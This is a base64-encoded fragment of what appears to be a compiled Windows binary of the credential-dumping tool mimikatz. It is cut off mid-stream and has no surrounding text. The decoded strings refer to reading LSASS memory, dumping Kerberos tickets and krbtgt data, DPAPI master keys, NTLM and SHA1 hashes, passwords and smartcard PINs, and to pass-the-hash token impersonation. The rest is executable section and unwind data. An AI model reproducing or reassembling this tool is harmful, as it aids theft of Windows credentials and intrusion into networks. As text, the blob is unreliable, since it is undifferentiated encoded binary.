UAbgB0AGkAYQBsAHMALgAuAC4AAAAAAAAAUwB3AGkAdABjAGgAIAB0AG8AIABQAFIATwBDAEUAUwBTAAoAAAAAAFMAdwBpAHQAYwBoACAAdABvACAATQBJAE4ASQBEAFUATQBQACAAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AbQBpAG4AaQBkAHUAbQBwACAAOwAgADwAbQBpAG4AaQBkAHUAbQBwAGYAaQBsAGUALgBkAG0AcAA+ACAAYQByAGcAdQBtAGUAbgB0ACAAaQBzACAAbQBpAHMAcwBpAG4AZwAKAAAAAAAAAAAAAAAAAAAAAABPAHAAZQBuAGkAbgBnACAAOgAgACcAJQBzACcAIABmAGkAbABlACAAZgBvAHIAIABtAGkAbgBpAGQAdQBtAHAALgAuAC4ACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABMAFMAQQBTAFMAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAIABmAG8AdQBuAGQAIAAoAD8AKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AaQBuAGkAZAB1AG0AcAAgAHAASQBuAGYAbwBzAC0APgBNAGEAagBvAHIAVgBlAHIAcwBpAG8AbgAgACgAJQB1ACkAIAAhAD0AIABNAEkATQBJAEsAQQBUAFoAXwBOAFQAXwBNAEEASgBPAFIAXwBWAEUAUgBTAEkATwBOACAAKAAlAHUAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBpAG4AaQBkAHUAbQBwACAAcABJAG4AZgBvAHMALQA+AFAAcgBvAGMAZQBzAHMAbwByAEEAcgBjAGgAaQB0AGUAYwB0AHUAcgBlACAAKAAlAHUAKQAgACEAPQAgAFAAUgBPAEMARQBTAFMATwBSAF8AQQBSAEMASABJAFQARQBDAFQAVQBSAEUAXwBBAE0ARAA2ADQAIAAoACUAdQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBpAG4AaQBkAHUAbQBwACAAdwBpAHQAaABvAHUAdAAgAFMAeQBzAHQAZQBtAEkAbgBmAG8AUwB0AHIAZQBhAG0AIAAoAD8AKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEsAZQB5ACAAaQBtAHAAbwByAHQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEwAbwBnAG8AbgAgAGwAaQBzAHQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AbwBkAHUAbABlAHMAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBlAG0AbwByAHkAIABvAHAAZQBuAGkAbgBnAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEgAYQBuAGQAbABlACAAbwBuACAAbQBlAG0AbwByAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATABvAGMAYQBsACAATABTAEEAIABsAGkAYgByAGEAcgB5ACAAZgBhAGkAbABlAGQACgAAAAAAAAAAAAkAJQBzACAAOgAJAAAAAABVAG4AZABlAGYAaQBuAGUAZABMAG8AZwBvAG4AVAB5AHAAZQAAAAAAVQBuAGsAbgBvAHcAbgAgACEAAAAAAAAASQBuAHQAZQByAGEAYwB0AGkAdgBlAAAATgBlAHQAdwBvAHIAawAAAEIAYQB0AGMAaAAAAAAAAABTAGUAcgB2AGkAYwBlAAAAUAByAG8AeAB5AAAAAAAAAFUAbgBsAG8AYwBrAAAAAABOAGUAdAB3AG8AcgBrAEMAbABlAGEAcgB0AGUAeAB0AAAAAAAAAAAATgBlAHcAQwByAGUAZABlAG4AdABpAGEAbABzAAAAAABSAGUAbQBvAHQAZQBJAG4AdABlAHIAYQBjAHQAaQB2AGUAAAAAAAAAQwBhAGMAaABlAGQASQBuAHQAZQByAGEAYwB0AGkAdgBlAAAAAAAAAEMAYQBjAGgAZQBkAFIAZQBtAG8AdABlAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAAEMAYQBjAGgAZQBkAFUAbgBsAG8AYwBrAAAAAAAAAAAACgBBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AIABJAGQAIAA6ACAAJQB1ACAAOwAgACUAdQAgACgAJQAwADgAeAA6ACUAMAA4AHgAKQAKAFMAZQBzAHMAaQBvAG4AIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHMAIABmAHIAbwBtACAAJQB1AAoAVQBzAGUAcgAgAE4AYQBtAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACUAdwBaAAoARABvAG0AYQBpAG4AIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAdwBaAAoATABvAGcAbwBuACAAUwBlAHIAdgBlAHIAIAAgACAAIAAgACAAOgAgACUAdwBaAAoAAAAAAAAAAABMAG8AZwBvAG4AIABUAGkAbQBlACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAABTAEkARAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAABQAHIAZQB2AGkAbwB1AHMAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGsAcgBiAHQAZwB0ACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAZgBpAG4AZAAgAEsARABDACAAcABhAHQAdABlAHIAbgAgAGkAbgAgAEwAUwBBAFMAUwAgAG0AZQBtAG8AcgB5AAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBrAHIAYgB0AGcAdAAgADsAIABLAEQAQwAgAHMAZQByAHYAaQBjAGUAIABuAG8AdAAgAGkAbgAgAEwAUwBBAFMAUwAgAG0AZQBtAG8AcgB5AAoAAAAKACUAcwAgAGsAcgBiAHQAZwB0ADoAIAAAAAAAAAAAACUAdQAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAKAAAACQAgACoAIAAlAHMAIAA6ACAAAAAAAAAARABQAEEAUABJAF8AUwBZAFMAVABFAE0ACgAAAAAAAABmAHUAbABsADoAIAAAAAAACgBtAC8AdQAgADoAIAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBkAHAAYQBwAGkAXwBzAHkAcwB0AGUAbQAgADsAIABOAG8AdAAgAGkAbgBpAHQAaQBhAGwAaQB6AGUAZAAhAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AZABwAGEAcABpAF8AcwB5AHMAdABlAG0AIAA7ACAAUABhAHQAdABlAHIAbgAgAG4AbwB0ACAAZgBvAHUAbgBkACAAaQBuACAARABQAEEAUABJACAAcwBlAHIAdgBpAGMAZQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGQAcABhAHAAaQBfAHMAeQBzAHQAZQBtACAAOwAgAEQAUABBAFAASQAgAHMAZQByAHYAaQBjAGUAIABuAG8AdAAgAGkAbgAgAEwAUwBBAFMAUwAgAG0AZQBtAG8AcgB5AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHQAcgB1AHMAdAAgADsAIABQAGEAdAB0AGUAcgBuACAAbgBvAHQAIABmAG8AdQBuAGQAIABpAG4AIABLAEQAQwAgAHMAZQByAHYAaQBjAGUACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AdAByAHUAcwB0ACAAOwAgAEsARABDACAAcwBlAHIAdgBpAGMAZQAgAG4AbwB0ACAAaQBuACAATABTAEEAUwBTACAAbQBlAG0AbwByAHkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwB0AHIAdQBzAHQAIAA7ACAATwBuAGwAeQAgAGYAbwByACAAPgA9ACAAMgAwADAAOAByADIACgAAAAAAAAAKACAAIABbACUAcwBdACAAAAAAAAAAAAAtAD4AIAAlAHcAWgAKAAAAJQB3AFoAIAAtAD4ACgAAAAkAZgByAG8AbQA6ACAAAAAJACoAIAAlAHMAIAA6ACAAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYgBrAGUAeQAgADsAIABQAGEAdAB0AGUAcgBuACAAbgBvAHQAIABmAG8AdQBuAGQAIABpAG4AIABEAFAAQQBQAEkAIABzAGUAcgB2AGkAYwBlAAoAAAAAAAAAAABsAHUAaQBkAAAAAAAAAAAAaQBtAHAAZQByAHMAbwBuAGEAdABlAAAAcgB1AG4AAAB5AGUAcwAAAG4AbwAAAAAAAAAAAAAAAAB1AHMAZQByAAkAOgAgACUAcwAKAGQAbwBtAGEAaQBuAAkAOgAgACUAcwAKAHAAcgBvAGcAcgBhAG0ACQA6ACAAJQBzAAoAaQBtAHAAZQByAHMALgAJADoAIAAlAHMACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABNAGkAcwBzAGkAbgBnACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAGQAbwBtAGEAaQBuAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIAB1AHMAZQByAAoAAAAAAAAAAABBAEUAUwAxADIAOAAJADoAIAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMQAyADgAIABrAGUAeQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADMAMgAgACgAMQA2ACAAYgB5AHQAZQBzACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMQAyADgAIABrAGUAeQAgAG8AbgBsAHkAIABzAHUAcABwAG8AcgB0AGUAZAAgAGYAcgBvAG0AIABXAGkAbgBkAG8AdwBzACAAOAAuADEAIAAoAG8AcgAgADcALwA4ACAAdwBpAHQAaAAgAGsAYgAyADgANwAxADkAOQA3ACkACgAAAEEARQBTADIANQA2AAkAOgAgAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAyADUANgAgAGsAZQB5ACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAANgA0ACAAKAAzADIAIABiAHkAdABlAHMAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAyADUANgAgAGsAZQB5ACAAbwBuAGwAeQAgAHMAdQBwAHAAbwByAHQAZQBkACAAZgByAG8AbQAgAFcAaQBuAGQAbwB3AHMAIAA4AC4AMQAgACgAbwByACAANwAvADgAIAB3AGkAdABoACAAawBiADIAOAA3ADEAOQA5ADcAKQAKAAAATgBUAEwATQAJADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAbgB0AGwAbQAgAGgAYQBzAGgALwByAGMANAAgAGsAZQB5ACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAMwAyACAAKAAxADYAIABiAHkAdABlAHMAKQAKAAAAAAAAAAAAAABtAG8AZABlAAkAOgAgAHIAZQBwAGwAYQBjAGkAbgBnACAATgBUAEwATQAvAFIAQwA0ACAAawBlAHkAIABpAG4AIABhACAAcwBlAHMAcwBpAG8AbgAKAAAAIAAgAHwAIAAgAFAASQBEACAAIAAlAHUACgAgACAAfAAgACAAVABJAEQAIAAgACUAdQAKAAAAAAAqACoAIABUAG8AawBlAG4AIABJAG0AcABlAHIAcwBvAG4AYQB0AGkAbwBuACAAKgAqAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABTAGUAdABUAGgAcgBlAGEAZABUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAARAB1AHAAbABpAGMAYQB0AGUAVABvAGsAZQBuAEUAeAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEcAZQB0AFQAbwBrAGUAbgBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEMAcgBlAGEAdABlAFAAcgBvAGMAZQBzAHMAVwBpAHQAaABMAG8AZwBvAG4AVwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAdAAgAGwAZQBhAHMAdAAgAG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QAIABHAHIAYQBuAHQAaQBuAGcAIABTAGUAcgB2AGkAYwBlAAAAQwBsAGkAZQBuAHQAIABUAGkAYwBrAGUAdAAgAD8AAABUAGkAYwBrAGUAdAAgAEcAcgBhAG4AdABpAG4AZwAgAFQAaQBjAGsAZQB0AAAAAAAKAAkARwByAG8AdQBwACAAJQB1ACAALQAgACUAcwAAAAoACQAgACoAIABLAGUAeQAgAEwAaQBzAHQAIAA6AAoAAAAAAAAAAABkAGEAdABhACAAYwBvAHAAeQAgAEAAIAAlAHAAAAAAAAoAIAAgACAAXABfACAAJQBzACAAAAAAAC0APgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBlAG4AdQBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBhAGwAbABiAGEAYwBrAF8AcAB0AGgAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGMAbwBwAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAoAIAAgACAAXABfACAAKgBQAGEAcwBzAHcAbwByAGQAIAByAGUAcABsAGEAYwBlACAALQA+ACAAAAAAAAAAAABuAHUAbABsAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBrAGUAcgBiAGUAcgBvAHMAXwBlAG4AdQBtAF8AdABpAGMAawBlAHQAcwAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAoACQAgACAAIABMAFMAQQAgAFMAZQBzAHMAaQBvAG4AIABLAGUAeQAgACAAIAA6ACAAMAB4ACUAMAA4AHgAIAAtACAAJQBzAAAAAAAAAAAAWwAlAHgAOwAlAHgAXQAtACUAMQB1AC0AJQB1AC0AJQAwADgAeAAtACUAdwBaAEAAJQB3AFoALQAlAHcAWgAuACUAcwAAAAAAWwAlAHgAOwAlAHgAXQAtACUAMQB1AC0AJQB1AC0AJQAwADgAeAAuACUAcwAAAAAAbABpAHYAZQBzAHMAcAAuAGQAbABsAAAAUHJpbWFyeQBDcmVkZW50aWFsS2V5cwAACgAJACAAWwAlADAAOAB4AF0AIAAlAFoAAAAAAAAAAABkAGEAdABhACAAYwBvAHAAeQAgAEAAIAAlAHAAIAA6ACAAAAAAAAAATwBLACAAIQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AbQBzAHYAXwBlAG4AdQBtAF8AYwByAGUAZABfAGMAYQBsAGwAYgBhAGMAawBfAHAAdABoACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAABuAC4AZQAuACAAKABLAEkAVwBJAF8ATQBTAFYAMQBfADAAXwBQAFIASQBNAEEAUgBZAF8AQwBSAEUARABFAE4AVABJAEEATABTACAASwBPACkAAAAAAAAAAAAAAAAAAABuAC4AZQAuACAAKABLAEkAVwBJAF8ATQBTAFYAMQBfADAAXwBDAFIARQBEAEUATgBUAEkAQQBMAFMAIABLAE8AKQAAAAAAAAB0AHMAcABrAGcALgBkAGwAbAAAAAAAAAB3AGQAaQBnAGUAcwB0AC4AZABsAGwAAAAAAAAAAAAAAPdMfx3q2kg+AAAAAAAA8D8AAAAAcJmUQQAAAAAAAKBBAADIQgAAAAAAAAAAAADgQwAAAAAAAPC/AAAAAAAA4MNBQUFBQUFBQQAAAAAAAAAAQkJCQkJCQkIAAAAAAAAAAENDQ0NDQ0NDAAAAAAAAAABERERERERERAAAAAAAAAAARUVFRUVFRUUAAAAAAAAAAEZGRkZGRkZGAAAAAAAAAABHR0dHR0dHRwAAAAAAAAAASEhISEhISEgAAAAAAAAAAElJSUlJSUlJAAAAAAAAAABKSkpKSkpKSgAAAAAAAAAAS0tLS0tLS0sAAAAAAAAAAExMTExMTExMAAAAAAAAAAAXAAAAEQAAABIAAAADAAAA/////////3//////////fwAAAABTAyVYAAAAAA0AAACkAgAACO0LAAjZCwAAAAAAlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABhgDIABAAAAAAAAAAAAAAAAAAAAAAAAALicCIABAAAAwJwIgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAABHQ1RMABAAADByCAAudGV4dCRtbgAAAAAwgggAIAAAAC50ZXh0JG1uJDAwAFCCCADgAwAALnRleHQkeAAAkAgAuAwAAC5pZGF0YSQ1AAAAALicCAAQAAAALjAwY2ZnAADInAgACAAAAC5DUlQkWENBAAAAANCcCAAIAAAALkNSVCRYQ1oAAAAA2JwIAAgAAAAuQ1JUJFhJQQAAAADgnAgAIAAAAC5DUlQkWElDAAAAAACdCAAIAAAALkNSVCRYSVoAAAAACJ0IAAgAAAAuQ1JUJFhQQQAAAAAQnQgAEAAAAC5DUlQkWFBYAAAAACCdCAAIAAAALkNSVCRYUFhBAAAAKJ0IAAgAAAAuQ1JUJFhQWgAAAAAwnQgACAAAAC5DUlQkWFRBAAAAADidCAAIAAAALkNSVCRYVFoAAAAAQJ0IAMhPAwAucmRhdGEAAAjtCwCoAgAALnJkYXRhJHp6emRiZwAAALDvCwAIAAAALnJ0YyRJQUEAAAAAuO8LAAgAAAAucnRjJElaWgAAAADA7wsACAAAAC5ydGMkVEFBAAAAAMjvCwAIAAAALnJ0YyRUWloAAAAA0O8LACA0AAAueGRhdGEAAPAjDABgAAAALmVkYXRhAABQJAwAfAEAAC5pZGF0YSQyAAAAAMwlDAAUAAAALmlkYXRhJDMAAAAA4CUMALgMAAAuaWRhdGEkNAAAAACYMgwAih4AAC5pZGF0YSQ2AAAAAABgDABASwAALmRhdGEAAABAqwwAXBsAAC5ic3MAAAAAANAMADBOAAAucGRhdGEAAAAgDQCEAAAALmdmaWRzJHgAAAAAhCANABQAAAAuZ2ZpZHMkeQAAAAAAMA0AYAAAAC5yc3JjJDAxAAAAAGAwDQAoAgAALnJzcmMkMDIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARIFABJiDnANYAxQCzAAAAEGAgAG0gIwAQYCAAZyAjABKgoAKgERAB/wHeAb0BnAF3AWYBUwFFABCgQACjQHAAoyBnABHAwAHGQQABxUDwAcNA4AHHIY8BbgFNASwBBwARAGABBkCAAQNAcAEDIMcAEdDAAddAsAHWQKAB1UCQAdNAgAHTIZ8BfgFcABDwYAD2QJAA80CAAPUgtwASAMACBkDQAgVAwAIDQLACAyHPAa4BjQFsAUcAEZCAAZZAgAGVQHABk0BgAZMhVwAR0IAB1kCgAdVAkAHTQIAB1SGXABHAwAHGQMABxUCwAcNAoAHDIY8BbgFNASwBBwARgGABhkBwAYNAYAGDIUcAEKBAAKNAgAClIGcAEVCAAVdAoAFWQJABU0CAAVUhHgARkKABl0CQAZZAgAGVQHABk0BgAZMhXgAQ8GAA9UCQAPNAgAD1ILcAESCAASVAoAEjQIABIyDuAMcAtgAQoEAAo0BgAKMgZwARkKABl0DgAZZA0AGTQMABlyFfAT4BHAARQIABRkCAAUVAcAFDQGABQyEHABGQoAGXQLABlkCgAZVAkAGTQIABlSFeABGwoAG3QRABtkEAAbNA8AG5IU8BLgEFABHQwAHXQNAB1kDAAdVAsAHTQKAB1SGfAX4BXAARwLABx0MAAcVC8AHDQuABwBKgAV8BPgEcAAAAEUBgAUNA0AFFINcAxgC1ABGAgAGGQWABg0FQAY8g7gDHALUAEkCgAkNBkAJNId8BvgGdAXwBVwFGATUAEfDAAfdBcAH2QVAB80FAAf0hjwFuAU0BLAEFABHAwAHGQVABxUEwAcNBIAHLIY8BbgFNASwBBwARcIABdkDwAXVA4AFzQNABeSE3ABJAoAJDQUACSSHfAb4BnQF8AVcBRgE1ABBgIABlICMAEIAgAIcgQwARgKABhkFAAYVBMAGDQSABjSFPAS4BBwARwMABxkEgAcVBEAHDQQABySGPAW4BTQEsAQcAEQBgAQZAsAEDQKABByDHABGwoAG3QUABtkEwAbNBIAG9IU8BLgEFABEAYAEFQLABA0CgAQcgxgAR0MAB10CwAdZAoAHVQJAB00CAAdMhnwF+AV0AEKAgAKMgYwAQ8GAA9kBwAPNAYADzILcAETBAATNAYAEzIPcAEUCgAUNA0AFDIQ8A7gDNAKwAhwB2AGUAEPBgAPVAkADzQIAA9SC2ABIw0AI3QiACNkIQAjNCAAIwEaABjwFuAU0BLAEFAAAAEZCgAZNBYAGdIV8BPgEdAPwA1wDGALUAEfCQAf4hvwGeAX0BXAE3ASYBFQEDAAAAEZCgAZ5BMAGXQSABlkEQAZNBAAGdIV8AEeCgAeNBYAHtIa8BjgFtAUwBJwEWAQUAEKBAAKNA4ACrIGcAEiCQAi4hvwGeAX0BXAE3ASYBEwEFAAAAEfDAAfdBYAH2QVAB80FAAf0hjwFuAU0BLAEFABHgoAHjQVAB6yGvAY4BbQFMAScBFgEFABGAoAGGQOABhUDQAYNAwAGHIU8BLgEHABFQgAFXQOABVkDQAVNAwAFZIR4AEZBwAZNFgAGQFUABJwEWAQUAAAARQGABRkDgAUNAwAFJIQcAESCAASVA8AEjQOABJyDuAMcAtgASAMACBkEwAgVBIAIDQRACCSHPAa4BjQFsAUcAEZCgAZdA0AGWQMABlUCwAZNAoAGXIV4AEQBgAQZA0AEDQMABCSDHABCgQACjQIAApSBmABFQgAFXQIABVkBwAVNAYAFTIR4AEiCgAidAsAImQKACJUC